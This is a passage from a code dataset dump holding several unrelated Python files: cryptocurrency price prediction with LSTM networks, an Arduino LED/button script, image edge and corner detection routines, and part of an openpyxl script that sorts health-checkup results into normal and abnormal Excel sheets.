np.random.shuffle(indexes)\n for i in indexes:\n yield data[i]\n","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"263963888","text":"from __future__ import print_function\nfrom Coin import *\nfrom Network import *\nfrom CONFIG import *\nimport numpy as np\nimport pandas as pd\nimport shutil\nimport sys\nfrom keras.utils.np_utils import to_categorical\nfrom matplotlib import pyplot as plt\nfrom Visualizer import *\n\n\nclass DataManager(object):\n\n def __init__(self, items = None):\n\n # np.random.seed(1)\n pd.options.mode.chained_assignment = None\n self.manager = []\n self.master_network = None\n self.add(items)\n\n def all_to_list(self, selection = None):\n if selection is None:\n return self.manager\n else:\n if type(selection) is not list:\n selection = [selection]\n l = [item for item in self.manager if item.ticker in selection]\n l.sort()\n return l\n\n def coins_to_list(self, selection = None):\n return [item for item in self.all_to_list(selection) if type(item) is Coin]\n\n def networks_to_list(self, selection = None, dataset = None):\n networks = [item for item in self.all_to_list(selection) if type(item) is Network]\n if dataset is not None:\n assert(dataset in CONFIG['valid_time_intervals'])\n networks = [network for network in networks if network.dataset == dataset]\n return networks\n\n def item_exists(self, item):\n if type(item) is Coin:\n coins = self.coins_to_list()\n if item.ticker in [coin.ticker for coin in coins]:\n return True\n return False\n elif type(item) is Network:\n networks = self.networks_to_list()\n if item.ticker in [network.ticker for network in networks]:\n datasets = self.networks_to_list(dataset = item.dataset)\n if item.dataset in [network.dataset for network in datasets]:\n return True\n return False\n\n def add(self, items):\n if type(items) is not list:\n items = [items]\n for item in items:\n if item is None: continue\n if not self.item_exists(item):\n self.manager.append(item)\n\n def init_from_config(self, selection, dataset):\n if type(selection) is not list:\n selection = [selection]\n for ticker in selection:\n coin = Coin(ticker, update = False)\n network = Network(coin, dataset)\n self.add([coin, network])\n\n def update(self, selection = None):\n for coin in self.coins_to_list(selection):\n coin.update()\n\n def delete_network(self, selection = None, dataset = None):\n if selection is None:\n return\n if dataset is None:\n dataset = [DAYS, HOURS, MINS]\n if type(selection) is not list:\n selection = [selection]\n if type(dataset) is not list:\n dataset = [dataset]\n datasets = dataset\n for ticker in selection:\n for dataset in datasets:\n filepath = CONFIG['dir_base'] + ticker + '/models/' + dataset\n if os.path.exists(filepath + '/model.h5'):\n os.remove(filepath + '/model.h5')\n if os.path.exists(filepath + '/model.pickle'):\n os.remove(filepath + '/model.pickle')\n\n def get(self, network, from_ts = None, step_back = None, n = None, window_scaling = True):\n df = pd.read_csv(network.data_directory, index_col=0)\n\n df = df[network.input_cols]\n\n for idx in range(df.index[0], df.index[-1], network.interval):\n if idx not in df.index:\n df.loc[idx] = np.nan\n df = df.sort_index()\n df = df.fillna(method = 'ffill')\n\n if from_ts is not None:\n if from_ts < 0:\n from_ts = int(from_ts * -1.)\n df = df.loc[:from_ts]\n else:\n df = df.loc[from_ts:]\n\n if step_back is not None:\n df = df.iloc[:int(len(df) - step_back)]\n\n if n is not None:\n if np.abs(n) < 1.0:\n n = n * len(df.index)\n n = int(n)\n if window_scaling is True:\n n = n + network.window\n df = df.tail(n)\n\n return df\n\n def normalize(self, network, df):\n window = network.window\n columns = df.columns.tolist()\n eps = 1e-5\n\n for col in columns:\n df[col+'_mean'] = df[col].rolling(window).mean()\n\n for col in columns:\n df[col+'_std'] = df[col].rolling(window).std()\n\n df = df.iloc[window:]\n for col in columns:\n df[col] = (df[col] - df[col+'_mean']) / (2 * df[col+'_std'] + eps)\n\n drop_cols = []\n for col in columns:\n drop_cols.append(col+'_mean')\n drop_cols.append(col+'_std')\n\n df = df.drop(columns = drop_cols)\n\n DEBUG.out(['DF', df])\n\n return df\n\n def unnormalize(self, network, df, type = None):\n if type is None:\n type = CONFIG['unnormalize']\n\n history = self.get(network, n = 0)\n\n drop_cols = [col for col in network.input_cols\n if col not in network.output_cols]\n history = history.drop(columns = drop_cols)\n\n if type == 'trailing':\n for idx in range(len(df)):\n df.iloc[idx] = 2 * df.iloc[idx] * history.std() + history.mean()\n history = history[1:]\n history.loc[df.index[idx]] = df.iloc[idx]\n DEBUG.out(['UNNORMALIZE TRAILING', df])\n return df\n\n elif type == 'last':\n df = (2 * history.std() * df) + history.mean()\n DEBUG.out(['UNNORMALIZE LAST', df])\n return df\n\n def format_train_data(self, network):\n\n df = self.get(network)\n df = self.normalize(network, df)\n\n x_df = df\n y_df = x_df[network.output_cols]\n\n x = [x_df.iloc[idx].tolist() for idx in range(len(x_df))]\n y = [y_df.iloc[idx].tolist() for idx in range(len(y_df))]\n\n x = x[:len(x) - network.roll]\n y = y[network.roll:]\n\n x = [np.array(x[idx:idx + network.num_ts]) for idx in\n range(len(x) - network.num_ts, -1, -1 * network.num_ts)]\n\n y = [np.array(y[idx:idx + network.num_ts]) for idx in\n range(len(y) - network.num_ts, -1, -1 * network.num_ts)]\n\n x.reverse()\n y.reverse()\n\n batch_size = network.batch_size\n\n # rearrange for stateful lstm\n if batch_size > 1:\n if len(x) % batch_size != 0:\n x = x[len(x) % batch_size:]\n y = y[len(y) % batch_size:]\n _x, _y = [], []\n for offset in range(batch_size):\n for idx in range(offset, len(x), batch_size):\n _x.append(x[idx])\n for idx in range(offset, len(y), batch_size):\n _y.append(y[idx])\n x, y = _x, _y\n\n return np.asarray(x), np.asarray(y)\n\n def format_predict_data(self, network):\n df = self.get(network, n = network.num_ts)\n df = self.normalize(network, df)\n\n network.latest_ts = df.index[-1]\n\n x = [df.iloc[idx].tolist() for idx in range(len(df))]\n x.reverse()\n x = np.asarray(x)\n assert(len(x) == network.num_ts)\n x = np.reshape(x, [1, network.num_ts, network.input_dim])\n\n return x\n\n def train(self, selection = None, dataset = None, num_epochs = None):\n if num_epochs is None:\n num_epochs = CONFIG['num_epochs']\n\n for network in self.networks_to_list(selection, dataset):\n network.properties_out\n print('-----'*15)\n print(network.ticker + ': Preparing to train network.\\n')\n x, y = self.format_train_data(network)\n network.train(x, y, num_epochs)\n print('')\n network.save()\n\n def predict(self, selection = None, dataset = None, plot = False):\n\n networks = self.networks_to_list(selection, dataset)\n predictions = []\n\n for network in networks:\n print('-----'*15)\n print(network.ticker + ': Preprocessing data for prediction.')\n\n x = self.format_predict_data(network)\n\n batch = network.predict(x)[0]\n df = pd.DataFrame(batch, columns = network.output_cols)\n df = self.unnormalize(network, df)\n df.index = network.create_ts_list()\n predictions.append({network.ticker : df})\n\n if plot:\n vis = Visualizer()\n vis.plot(network, df)\n\n return predictions\n\n @property\n def view_latest_timestamps(self):\n for coin in self.coins_to_list():\n coin.last_updated\n\n @property\n def all_tickers(self):\n tickers = [item.ticker for item in self.all_to_list()]\n return list(set(tickers))\n","sub_path":"DataManager.py","file_name":"DataManager.py","file_ext":"py","file_size_in_byte":8909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"597763603","text":"from py2duino import *\nimport time\n\nar1=Arduino(4) # déclaration de l'Arduino connecté au COM4 en ar1\nR=DigitalOutput(ar1,7) # LED rouge (R) piloté par le pin digital 7\nR.low() # Mise à l'état bas de la sortie => LED éteinte\nB=DigitalInput(ar1,2) # Bouton sur le pin digital 2 déclaré en entrée\n\n\nwhile (B.read()!=1) : # boucle d'attente d'appui sur le bouton poussoir\n time.sleep(1)\n print(B.read()) # contrôle de la valeur renvoyée par le bouton poussoir\n\nR.high() # Led allumée\n\ntime.sleep(2)\n\nwhile (B.read()!=1) : # boucle d'attente d'appui sur le bouton poussoir\n time.sleep(1)\n print(B.read()) # contrôle de la valeur renvoyée par le bouton poussoir\n\nR.low() # Led éteinte\n","sub_path":"Arduino/py2duino/Programmes/4-Allumage LED par bouton.py","file_name":"4-Allumage LED par bouton.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"459347584","text":"import meshoperations as mesh\nimport numpy as np\nimport scipy as sp\nimport math\nimport actions\nimport thresholds\nfrom scipy import signal\n\nsobel_matrix = np.array([[-1, -2, -1], [0, 0, 0], [1, 2, 1]])\ndef prewit(matrix):\n m = np.array([[-1, -1, -1], [0, 0, 0], [1, 1, 1]])\n return mesh.apply_double_mesh(matrix, m)\n\n\ndef sobel(matrix):\n return mesh.apply_double_mesh(matrix, sobel_matrix)\n\n\ndef multi_prewit(matrix):\n m1 = np.array([[-1, -1, -1], [0, 0, 0], [1, 1, 1]])\n out1 = mesh.apply_mesh_one_dimension(matrix, m1, 3)\n m2 = m1.transpose()\n out2 = mesh.apply_mesh_one_dimension(matrix, m2, 3)\n m3 = np.array([[-1, -1, 0], [-1, 0, 1], [0, 1, 1]])\n out3 = mesh.apply_mesh_one_dimension(matrix, m3, 3)\n m4 = m3.transpose()\n out4 = mesh.apply_mesh_one_dimension(matrix, m4, 3)\n out = np.zeros(matrix.shape, dtype=np.int16)\n for i in range(matrix.shape[0]):\n for j in range(matrix.shape[1]):\n out[i, j] = max(abs(out1[i, j]), abs(out2[i, j]), abs(out3[i, j]), abs(out4[i, j]))\n\n return actions.linear_transform(out).astype(np.uint8)\n\n\ndef multi_sobel(matrix):\n m1 = np.array([[-1, -2, -1], [0, 0, 0], [1, 2, 1]])\n out1 = mesh.apply_mesh_one_dimension(matrix, m1, 3)\n m2 = m1.transpose()\n out2 = mesh.apply_mesh_one_dimension(matrix, m2, 3)\n m3 = np.array([[-2, -1, 0], [-1, 0, 1], [0, 1, 2]])\n out3 = mesh.apply_mesh_one_dimension(matrix, m3, 3)\n m4 = m3.transpose()\n out4 = mesh.apply_mesh_one_dimension(matrix, m4, 3)\n out = np.zeros(matrix.shape, dtype=np.int16)\n for i in range(matrix.shape[0]):\n for j in range(matrix.shape[1]):\n out[i, j] = max(abs(out1[i, j]), abs(out2[i, j]), abs(out3[i, j]), abs(out4[i, j]))\n\n return actions.linear_transform(out).astype(np.uint8)\n\n\ndef laplace(matrix, threshold=0):\n m = np.array([[0, -1, 0], [-1, 4, -1], [0, -1, 0]])\n aux = mesh.apply_mesh_one_dimension(matrix, m, 3)\n return zero_cross(aux, threshold)\n\n\ndef zero_cross(aux, threshold=0):\n out = np.zeros(aux.shape, dtype=np.uint8)\n for i in range(1,aux.shape[0]-1):\n for j in range(1,aux.shape[1]-1):\n if np.sign(aux[i-1, j])*np.sign(aux[i, j]) < 0:\n out[i, j] = 255 if abs(aux[i-1, j]) + abs(aux[i, j]) >= threshold else 0\n if np.sign(aux[i, j-1])*np.sign(aux[i, j]) < 0 and out[i, j] != 255:\n out[i, j] = 255 if abs(aux[i, j - 1]) + abs(aux[i, j]) >= threshold else 0\n return out\n\n\ndef intelligent_laplace(matrix):\n # threshold = 40\n threshold = np.mean(matrix)\n return laplace(matrix, threshold)\n\n\ndef laplace_gauss(matrix, std):\n size = 6*std + 1\n m = np.zeros((size, size))\n radius = int(size / 2)\n cst = -1 / (math.sqrt(2 * math.pi) * std * std * std)\n for i in range(-radius, radius + 1):\n for j in range(-radius, radius + 1):\n aux = 2 - (i*i + j*j) / (std*std)\n m[i + radius, j + radius] = cst * aux * math.exp(-(j * j + i * i) / (2 * std * std))\n\n print(m)\n print(sum(sum(m)))\n ma = signal.convolve2d(matrix, m, \"same\", \"symm\")\n return zero_cross(ma)\n\n\ndef hough(matrix, a, b, self):\n aux = sobel(matrix)\n aux = thresholds.threshold(aux, 128)\n D = max(aux.shape)\n p_range = 2 * math.sqrt(2) * D\n a_max = a\n b_max = b\n acumulator = np.zeros((a_max+1, b_max+1), dtype=np.uint32)\n e = 0.9\n cos_a = np.zeros(a_max + 1, dtype=np.float32)\n sin_a = np.zeros(a_max + 1, dtype=np.float32)\n for a_i in range(a_max+1):\n cos_a[a_i] = math.cos(-math.pi/2 + (a_i/a_max)*math.pi)\n sin_a[a_i] = math.sin(-math.pi/2 + (a_i/a_max)*math.pi)\n\n for y in range(aux.shape[0]):\n for x in range(aux.shape[1]):\n if aux[y, x] == 255:\n for a in range(a_max + 1):\n for b in range(b_max + 1):\n bi = -p_range/2 + (b/b_max)*p_range\n if abs(bi - x*cos_a[a] - y*sin_a[a]) < e:\n acumulator[a, b] += 1\n\n m = np.max(acumulator)\n points = get_tops(acumulator, m)\n np.set_printoptions(threshold=np.inf)\n for (a, b) in points:\n bi = -p_range / 2 + (b / b_max) * p_range\n if sin_a[a] == 0:\n self.canvas[0].create_line(bi, 0, bi, aux.shape[0], fill=\"red\")\n else:\n self.canvas[0].create_line(0, bi/sin_a[a], aux.shape[1], bi/sin_a[a] - aux.shape[1]*cos_a[a]/sin_a[a], fill=\"red\")\n return matrix\n\n\ndef get_tops(acumulator, m):\n thres = m*0.7\n res = []\n for a in range(acumulator.shape[0]):\n for b in range(acumulator.shape[1]):\n if acumulator[a, b] > thres:\n res.append((a, b))\n return res\n\n\ndef harris(matrix, threshold):\n if len(matrix.shape) == 3:\n matrix_to_op = actions.to_grayscale(matrix)\n else:\n matrix_to_op = matrix\n\n dx = sp.signal.convolve2d(matrix_to_op, sobel_matrix, boundary='symm', mode='same')\n dy = sp.signal.convolve2d(matrix_to_op, np.transpose(sobel_matrix), boundary='symm', mode='same')\n gm = mesh.gauss_mesh(7, 2)\n dx2 = sp.signal.convolve2d(np.power(dx, 2), gm, boundary='symm', mode='same')\n dy2 = sp.signal.convolve2d(np.power(dy, 2), gm, boundary='symm', mode='same')\n lxy = sp.signal.convolve2d(np.multiply(dx, dy), gm, boundary='symm', mode='same')\n k = 0.04\n res = (np.multiply(dx2, dy2) - np.power(lxy, 2)) - k*np.power(np.add(dx2, dy2), 2)\n res = actions.linear_transform(res)\n return combine(matrix, thresholds.threshold(res, threshold))\n\n\ndef combine(original, modified):\n shape = original.shape\n res = np.zeros((shape[0], shape[1], 3), dtype=np.uint8)\n if len(original.shape) == 2:\n res[:, :, 0] = original\n res[:, :, 1] = original\n res[:, :, 2] = original\n else:\n res = original\n for i in range(modified.shape[0]):\n for j in range(modified.shape[1]):\n if modified[i, j] == 255:\n res[i, j, 0] = 255\n res[i, j, 1] = 0\n res[i, j, 2] = 0\n return res\n","sub_path":"border.py","file_name":"border.py","file_ext":"py","file_size_in_byte":6036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"113668233","text":"from openpyxl import Workbook\nfrom openpyxl.styles import Alignment, Font, colors,Border, Side, PatternFill\nfrom openpyxl.drawing.image import Image\nfrom openpyxl.chart import BarChart, Series, Reference\nimport sys\n\nfrom Model import CoreModel\nfrom openpyxl.chart import (PieChart,ProjectedPieChart,Reference)\nfrom openpyxl.chart.series import DataPoint\nfrom math import ceil\n\ndef SplitExcelFile(DataExcelArray, outputDirectory,inputFileName):\n print(\"=== Split Excel ================================\")\n WorkbookName = \"Output_\" + inputFileName + \".xlsx\"\n outputDir = outputDirectory\n \n #Copy Array\n DataExcelArrayDump = DataExcelArray[:]\n outputWorkbook = Workbook()\n outputWorkbook_Dash = Workbook()\n outputWorkbook_Wel = Workbook()\n #Parameter for design ========================================================\n FontRed = Font(color=colors.RED)\n FontNormal = Font(color=colors.BLACK)\n BorderNor = Border(top = Side(border_style='thin', color='FF000000'), \n right = Side(border_style='thin', color='FF000000'), \n bottom = Side(border_style='thin', color='FF000000'),\n left = Side(border_style='thin', color='FF000000'))\n FillGreen = PatternFill(start_color='B8FFAF', fill_type='solid')\n FillRed = PatternFill(start_color='FFAFAF', fill_type='solid')\n FillGray = PatternFill(start_color='CCCCCC', fill_type='solid')\n \n AlignMid = Alignment(horizontal=\"center\")\n #Delete useless worksheet =====================\n workSheet_0 = outputWorkbook.active\n outputWorkbook.remove_sheet(workSheet_0)\n workSheet_Sum_0 = outputWorkbook_Dash.active\n outputWorkbook_Dash.remove_sheet(workSheet_Sum_0)\n workSheet_Wel_0 = outputWorkbook_Wel.active\n outputWorkbook_Wel.remove_sheet(workSheet_Wel_0)\n #==============================================\n #Building dict inception data structure\n# dictSheet = ['PE', 'HEMATOLOGY', 'BIOCHEMISTRY', 'MICROBIOLOGY', 'X-Ray Digital', 'Eye', 'Other','MICROSCOPY']\n# \n# dictHN = {}\n# personSheet = {}\n# for idx, dataSheet in enumerate(DataExcelArray): #Each Data sheet\n# for dataRow in dataSheet:\n# rowHN = dataRow[1] #get HN from dataRow\n# personSheet[dictSheet[idx]] = dataRow #push one row of person data to person dict\n# dictHN[rowHN] = personSheet\n# pass\n# pass\n \n# print(dictHN['2160009321']['Eye']) #print test array in dict inception \n #=====================================================================================\n \n #Building Each Data Sheet Set=========================================================\n # Example Set BMI Compose of 2 Spread Sheet (1.All Patient, 2. Normal Patient, 3. Abnormal Patient)\n #Loop Inception Array in Loop Inception Dictionary\n \n simpleDataRowRaw = DataExcelArray[0][0]\n simpleDataRow, textCompany, textBranch = CoreModel.GenerateSimpleRowData(simpleDataRowRaw)\n #===== One newDataSheet is 2 Spread Sheet ============================================\n \n #=====================================================================================\n# print(DataExcelArray[0][0])\n tempHeaderBP = ['NO','ID','รหัสพนักงาน','ชื่อ - นามสกุล','แผนก',\n 'เพศ','Age','BP(90 - 140)/(60 - 90)','ชีพจร/นาที','แปลผลความดัน BP']\n tempHeaderBMI = ['NO','ID','รหัสพนักงาน','ชื่อ - นามสกุล','แผนก',\n 'เพศ','Age','High (cm.)','Weight (Kg)','BMI(18.5 - 24.9)','แปลผลดัชนีมวลกาย BMI']\n tempHeaderABO = ['NO','ID','รหัสพนักงาน','ชื่อ - นามสกุล','แผนก','เพศ','Age',\n 'ABO Group','Interpret ABO Group']\n tempHeaderCBC = ['NO','ID','รหัสพนักงาน','ชื่อ - นามสกุล','แผนก','เพศ','Age',\n 'WBC count','HB','HCT','MCV','PMN','Lymp','Mono',\n 'Eos','BASO','PLT count','RBC count','MCH','MCHC',\n 'RDW-CV','RBC Morphology','PLT smear','Interpret CBC']\n tempHeaderFBS = ['NO','ID','รหัสพนักงาน','ชื่อ - นามสกุล','แผนก','เพศ','Age','Glucose(ค่าปกติ : 70 - 115 mg/dl)','Interpret Glucose']\n tempHeaderCholes = ['NO','ID','รหัสพนักงาน','ชื่อ - นามสกุล','แผนก','เพศ','Age',\n 'Cholesterol(ค่าปกติ : 0 - 200 mg/dl)','Interpret Cholesterol']\n tempHeaderTri = ['NO','ID','รหัสพนักงาน','ชื่อ - นามสกุล','แผนก','เพศ','Age',\n 'Triglyceride(ค่าปกติ : 0 - 150 mg/dl)','Interpret Triglyceride']\n tempHeaderHDL = ['NO','ID','รหัสพนักงาน','ชื่อ - นามสกุล','แผนก','เพศ','Age',\n 'HDL (ค่าปกติ : >35 mg/dl)','Interpret HDL']\n tempHeaderLDL = ['NO','ID','รหัสพนักงาน','ชื่อ - นามสกุล','แผนก','เพศ','Age',\n 'LDL (ค่าปกติ : 0 - 130 mg/dl)','Interpret LDL']\n tempHeaderCS = ['NO','ID','รหัสพนักงาน','ชื่อ - นามสกุล','แผนก','เพศ','Age',\n 'Stool C/S','Interpret Stool C/S']\n tempHeaderXray = ['NO','ID','รหัสพนักงาน','ชื่อ - นามสกุล','แผนก','เพศ','Age',\n 'Result X-Ray','Interpret X-Ray','คำแนะนำ']\n tempHeaderEye = ['NO','ID','รหัสพนักงาน','ชื่อ - นามสกุล','แผนก','เพศ','Age',\n 'ตาเหล่-ตาเข', 'สายตาสั้น', 'สายตายาว' ,'มองสามมิติ', 'การแยกสี',\n 'สายตาเอียง', 'ลานสายตา','สรุปผล','คำแนะนำ']\n tempHeaderPE = ['NO','ID','รหัสพนักงาน','ชื่อ - นามสกุล','แผนก',\n 'เพศ','Age',\n 'ฟัน, เหงือก (Teeth, Gum)','ตา (Eyes)','หู, คอ, จมูก (Ears, Throat)',\n 'แขน, ขา (Extremities)','ผิวหนัง (Skin)','ปอด, ทรวงอก (Lung)',\n 'ท้อง, ตับ, ม้าม (Abdomen)','ต่อมไทรอยด์ (Thyroid)','ต่อมน้ำเหลือง (Lymph)','อื่นๆระบุ']\n tempHeaderMICRO = ['NO','ID','รหัสพนักงาน','ชื่อ - นามสกุล','แผนก','เพศ','Age',\n 'Color(Urine)','Appearance(Urine)','Sp.Gr(Urine)',\n 'pH(Urine)','Protein(urine)','Glucose(urine)',\n 'Ketone(urine)','Blood(urine)','WBC_(Urine)',\n 'RBC_(Urine)','Epith_(Urine)','Interpret Urinalysis']\n \n #Move PE after Eye\n tempHeader = [tempHeaderBP,tempHeaderBMI,tempHeaderABO,tempHeaderCBC,\n tempHeaderFBS,tempHeaderCholes,tempHeaderTri,tempHeaderHDL,\n tempHeaderLDL,tempHeaderCS,tempHeaderXray,\n tempHeaderEye,tempHeaderPE,tempHeaderMICRO]\n #Set for fill data row ==================================================\n newDataSheet_BP,newDataSheetAbn_BP,newDataSheetNor_BP = Create_AddTempHeader(tempHeader[0])\n newDataSheet_BMI,newDataSheetAbn_BMI,newDataSheetNor_BMI = Create_AddTempHeader(tempHeader[1])\n newDataSheet_ABO,newDataSheetAbn_ABO,newDataSheetNor_ABO = Create_AddTempHeader(tempHeader[2])\n newDataSheet_CBC,newDataSheetAbn_CBC,newDataSheetNor_CBC = Create_AddTempHeader(tempHeader[3])\n newDataSheet_FBS,newDataSheetAbn_FBS,newDataSheetNor_FBS = Create_AddTempHeader(tempHeader[4])\n newDataSheet_Choles,newDataSheetAbn_Choles,newDataSheetNor_Choles = Create_AddTempHeader(tempHeader[5])\n newDataSheet_Tri,newDataSheetAbn_Tri,newDataSheetNor_Tri = Create_AddTempHeader(tempHeader[6])\n newDataSheet_HDL,newDataSheetAbn_HDL,newDataSheetNor_HDL = Create_AddTempHeader(tempHeader[7])\n newDataSheet_LDL,newDataSheetAbn_LDL,newDataSheetNor_LDL = Create_AddTempHeader(tempHeader[8])\n newDataSheet_CS,newDataSheetAbn_CS,newDataSheetNor_CS = Create_AddTempHeader(tempHeader[9])\n newDataSheet_Xray,newDataSheetAbn_Xray,newDataSheetNor_Xray = Create_AddTempHeader(tempHeader[10])\n newDataSheet_Eye,newDataSheetAbn_Eye,newDataSheetNor_Eye = Create_AddTempHeader(tempHeader[11])\n newDataSheet_PE,newDataSheetAbn_PE,newDataSheetNor_PE = Create_AddTempHeader(tempHeader[12])\n \n newDataSheet_MICRO,newDataSheetAbn_MICRO,newDataSheetNor_MICRO = Create_AddTempHeader(tempHeader[13])\n \n #-------------------------------------------------\n # [0,0] First Digit is Abnormal , Second is Normal\n CountRatio = {}\n CountRatio['BP'] = [0,0]\n CountRatio['BMI'] = [0,0]\n CountRatio['ABO'] = [0,0]\n CountRatio['FBS'] = [0,0]\n CountRatio['Choles'] = [0,0]\n CountRatio['Tri'] = [0,0]\n CountRatio['HDL'] = [0,0]\n CountRatio['LDL'] = [0,0]\n CountRatio['CS'] = [0,0]\n CountRatio['Xray'] = [0,0]\n CountRatio['Eye'] = [0,0]\n CountRatio['PE'] = [0,0]\n CountRatio['CBC'] = [0,0]\n CountRatio['Micro'] = [0,0]\n \n targetAbs = [] # [Sheet1 [index,index,index]]\n for i in range(len(CountRatio)):\n targetAbs.append([])\n\n columnCount = [] # [maxColumn , maxRow]\n # Create DataSheet by Type to new Data Sheet Set\n for idx, dataSheet in enumerate(DataExcelArray): #Each sheet with data\n for rowIdx, dataRow in enumerate(dataSheet): #Each Row in Sheet\n simpleDataRow, textCompanyUnuse, textBranchUnuse = CoreModel.GenerateSimpleRowData(dataRow)\n if idx==0: #Work sheet from page 1\n #=======================================================================\n additionalDataRow = BuildRowBP(dataRow)\n newDataRow = ([rowIdx+1]) + simpleDataRow + additionalDataRow\n newDataSheet_BP.append(newDataRow)\n if ('กว่า') in newDataRow[9]: \n newDataSheetAbn_BP.append(newDataRow)\n CountRatio['BP'][0] += 1\n targetAbs[0].append(rowIdx)\n else:\n newDataSheetNor_BP.append(newDataRow)\n CountRatio['BP'][1] += 1\n #-------------------------------------------------------\n if rowIdx == len(dataSheet) - 1:\n columnCount.append([len(newDataRow),rowIdx])\n \n #=======================================================================\n additionalDataRow = BuildRowBMI(dataRow)\n newDataRow = ([rowIdx+1]) + simpleDataRow + additionalDataRow\n newDataSheet_BMI.append(newDataRow)\n if ('กว่า') in newDataRow[10]:\n newDataSheetAbn_BMI.append(newDataRow)\n CountRatio['BMI'][0] += 1\n targetAbs[1].append(rowIdx)\n else:\n newDataSheetNor_BMI.append(newDataRow)\n CountRatio['BMI'][1] += 1\n #-------------------------------------------------------\n if rowIdx == len(dataSheet) - 1:\n columnCount.append([len(newDataRow),rowIdx])\n \n #=======================================================================\n\n if idx==1:\n #=======================================================================\n additionalDataRow = BuildRowABO(dataRow)\n newDataRow = ([rowIdx+1]) + simpleDataRow + additionalDataRow\n newDataSheet_ABO.append(newDataRow)\n # Normal -------------------------------\n newDataSheetNor_ABO.append(newDataRow)\n CountRatio['ABO'][1] += 1\n #-------------------------------------------------------\n if rowIdx == len(dataSheet) - 1:\n columnCount.append([len(newDataRow),rowIdx])\n \n #-------------------------------------------------------\n additionalDataRow = BuildRowCBC(dataRow)\n newDataRow = ([rowIdx+1]) + simpleDataRow + additionalDataRow\n newDataSheet_CBC.append(newDataRow)\n if ('เกณฑ์ปกติ') not in newDataRow[23]:\n newDataSheetAbn_CBC.append(newDataRow)\n CountRatio['CBC'][0] += 1\n targetAbs[4].append(rowIdx)\n else:\n newDataSheetNor_CBC.append(newDataRow)\n CountRatio['CBC'][1] += 1\n #-------------------------------------------------------\n if rowIdx == len(dataSheet) - 1:\n columnCount.append([len(newDataRow),rowIdx])\n \n #-------------------------------------------------------\n #Remove PE\n #=======================================================================\n if idx==2:\n #=======================================================================\n additionalDataRow = BuildRowFBS(dataRow)\n newDataRow = ([rowIdx+1]) + simpleDataRow + additionalDataRow\n newDataSheet_FBS.append(newDataRow)\n try:\n if not (70 <= float(newDataRow[7]) < 115):\n newDataSheetAbn_FBS.append(newDataRow)\n CountRatio['FBS'][0] += 1\n targetAbs[5].append(rowIdx)\n else:\n newDataSheetNor_FBS.append(newDataRow)\n CountRatio['FBS'][1] += 1\n except:\n newDataSheetNor_FBS.append(newDataRow)\n CountRatio['FBS'][1] += 1\n #-------------------------------------------------------\n if rowIdx == len(dataSheet) - 1:\n columnCount.append([len(newDataRow),rowIdx])\n \n #-------------------------------------------------------\n #=======================================================================\n additionalDataRow = BuildRowCholes(dataRow)\n newDataRow = ([rowIdx+1]) + simpleDataRow + additionalDataRow\n newDataSheet_Choles.append(newDataRow)\n try:\n if not (0 <= float(newDataRow[7]) < 200):\n newDataSheetAbn_Choles.append(newDataRow)\n CountRatio['Choles'][0] += 1\n targetAbs[6].append(rowIdx)\n else:\n newDataSheetNor_Choles.append(newDataRow)\n CountRatio['Choles'][1] += 1\n except:pass\n #-------------------------------------------------------\n if rowIdx == len(dataSheet) - 1:\n columnCount.append([len(newDataRow),rowIdx])\n \n #-------------------------------------------------------\n #=======================================================================\n additionalDataRow = BuildRowTri(dataRow)\n newDataRow = ([rowIdx+1]) + simpleDataRow + additionalDataRow\n newDataSheet_Tri.append(newDataRow)\n try:\n if not (0 <= float(newDataRow[7]) < 150):\n newDataSheetAbn_Tri.append(newDataRow)\n CountRatio['Tri'][0] += 1\n targetAbs[7].append(rowIdx)\n else:\n newDataSheetNor_Tri.append(newDataRow)\n CountRatio['Tri'][1] += 1\n except:pass\n #-------------------------------------------------------\n if rowIdx == len(dataSheet) - 1:\n columnCount.append([len(newDataRow),rowIdx])\n \n #-------------------------------------------------------\n #=======================================================================\n additionalDataRow = BuildRowHDL(dataRow)\n newDataRow = ([rowIdx+1]) + simpleDataRow + additionalDataRow\n newDataSheet_HDL.append(newDataRow)\n try:\n if float(newDataRow[7]) < 35:\n newDataSheetAbn_HDL.append(newDataRow)\n CountRatio['HDL'][0] += 1\n targetAbs[8].append(rowIdx)\n else:\n newDataSheetNor_HDL.append(newDataRow)\n CountRatio['HDL'][1] += 1\n except:pass\n #-------------------------------------------------------\n if rowIdx == len(dataSheet) - 1:\n columnCount.append([len(newDataRow),rowIdx])\n \n #-------------------------------------------------------\n #=======================================================================\n additionalDataRow = BuildRowLDL(dataRow)\n newDataRow = ([rowIdx+1]) + simpleDataRow + additionalDataRow\n newDataSheet_LDL.append(newDataRow)\n try:\n if not (0 <= float(newDataRow[7]) < 130):\n newDataSheetAbn_LDL.append(newDataRow)\n CountRatio['LDL'][0] += 1\n targetAbs[9].append(rowIdx)\n else:\n newDataSheetNor_LDL.append(newDataRow)\n CountRatio['LDL'][1] += 1\n except:pass\n #-------------------------------------------------------\n if rowIdx == len(dataSheet) - 1:\n columnCount.append([len(newDataRow),rowIdx])\n \n #-------------------------------------------------------\n #=======================================================================\n if idx==3:\n #=======================================================================\n additionalDataRow = BuildRowCS(dataRow)\n newDataRow = ([rowIdx+1]) + simpleDataRow + additionalDataRow\n newDataSheet_CS.append(newDataRow)\n # Normal -------------------------------\n newDataSheetNor_CS.append(newDataRow)\n CountRatio['CS'][1] += 1\n #-------------------------------------------------------\n if rowIdx == len(dataSheet) - 1:\n columnCount.append([len(newDataRow),rowIdx])\n \n #-------------------------------------------------------\n #=======================================================================\n if idx==4:\n #=======================================================================\n additionalDataRow = BuildRowXray(dataRow)\n newDataRow = ([rowIdx+1]) + simpleDataRow + additionalDataRow\n newDataSheet_Xray.append(newDataRow)\n if ('ผิด') in newDataRow[8]:\n newDataSheetAbn_Xray.append(newDataRow)\n CountRatio['Xray'][0] += 1\n targetAbs[11].append(rowIdx)\n else:\n newDataSheetNor_Xray.append(newDataRow)\n CountRatio['Xray'][1] += 1\n #-------------------------------------------------------\n if rowIdx == len(dataSheet) - 1:\n columnCount.append([len(newDataRow),rowIdx])\n #Error columnCount here not pass loop because blank file\n #-------------------------------------------------------\n #=======================================================================\n if idx==5:\n #=======================================================================\n additionalDataRow = BuildRowEye(dataRow)\n 